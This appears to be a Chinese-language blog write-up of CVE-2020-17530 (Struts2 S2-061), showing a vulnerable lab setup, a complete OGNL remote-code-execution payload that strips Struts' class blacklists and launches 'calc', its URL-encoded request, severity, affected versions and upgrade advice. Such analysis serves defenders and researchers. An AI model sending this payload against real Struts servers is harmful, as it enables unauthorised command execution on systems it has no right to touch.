CVE-2020-17530(Struts2-061)

漏洞概要
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。
S2-061是S-059的绕过,在设置标签的某些属性(如id)执行双重解析的情况下,会导致RCE漏洞出现。利用环境除官方给的最小依赖包外,还需要commons-collections包。

漏洞分析
使用maven以strut2-2.5.25来搭建漏洞场景,pom设置如下,struts2和tomcat环境配置略过,不清楚的可以百度搜索一下:
  <dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>2.5.25</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
Struts.xml配置如下:
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
"http://struts.apache.org/dtds/struts-2.3.dtd">

<struts>
<constant name="struts.mapper.alwaysSelectFullNamespace" value="false" />
<constant name="struts.devMode" value="true"/>

<package name="com" extends="struts-default" >
<action name="login" class="com.demo.struts.LoginAction" method="execute">
<result name="success">/succ.jsp</result>
</action>
</package>
</struts>
LoginAction配置如下:
public class LoginAction extends ActionSupport {
private String aapt;

public String getAapt() {
return aapt;
}

public void setAapt(String aapt) {
this.aapt = aapt;
}


public String execute(){
System.out.println(aapt);
return SUCCESS;
}

}
web页面succ.jsp配置如下:
<%@ taglib prefix="s" uri="/struts-tags" %>
<%@ page contentType="text/html; charset=UTF-8"%>

<html>
<head>

<title>Hello World</title>

</head>
<body>
<h2>Hello World!</h2>
<s:a id="%{aapt}" href="%{url}">List available Employees</s:a>
<s:debug/>
</body>
</html>
上面都配置好之后,简单的执行流程是:带上aapt参数访问login,会执行LoginAction的execute(),返回succ.jsp页面。aapt会二次解析导致执行了Ognl表达式。(整体的执行流程可参考struts2官方文档)
首先发送请求:localhost:8088/login.action?aapt=%25%7b1%2b1%7d,可以看到执行了%{1+1}:
大佬们写的poc(本质是通过InstanceManager、BeanMap绕过限制,使Ognl表达式成功执行任意命令):
%{(#im=#application['org.apache.tomcat.InstanceManager']).(#bm=#im.newInstance('org.apache.commons.collections.BeanMap')).(#vs=#request['struts.valueStack']).(#bm.setBean(#vs)).(#context=#bm.get('context')).(#bm.setBean(#context)).(#access=#bm.get('memberAccess')).(#bm.setBean(#access)).(#empty=#im.newInstance('java.util.HashSet')).(#bm.put('excludedClasses',#empty)).(#bm.put('excludedPackageNames',#empty)).(#cmdout=#im.newInstance('freemarker.template.utility.Execute').exec({'calc'}))}


使用URL编码后,发送请求:http://localhost:8088/login.action?aapt=%25%7b(%23im%3d%23application%5b%27org.apache.tomcat.InstanceManager%27%5d).(%23bm%3d%23im.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23vs%3d%23request%5b%27struts.valueStack%27%5d).(%23bm.setBean(%23vs)).(%23context%3d%23bm.get(%27context%27)).(%23bm.setBean(%23context)).(%23access%3d%23bm.get(%27memberAccess%27)).(%23bm.setBean(%23access)).(%23empty%3d%23im.newInstance(%27java.util.HashSet%27)).(%23bm.put(%27excludedClasses%27%2c%23empty)).(%23bm.put(%27excludedPackageNames%27%2c%23empty)).(%23cmdout%3d%23im.newInstance(%27freemarker.template.utility.Execute%27).exec(%7b%27calc%27%7d))%7d
函数栈网上已经有很多人说过,就不献丑了。debug的时候,断点可以放在ASTChain的for循环处,一直跟进,可以看出执行的情况:



漏洞等级
Base Score: 9.8 CRITICAL
Vector:  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS评分较高,但符合漏洞利用的实际场景较少

影响范围
Struts 2.0.0-Struts 2.5.25

修复建议 
升级到Struts 2.5.26及以上版本

参考链接


posted @ 2021-04-01 09:17  1uan  阅读(280)  评论(0)    收藏  举报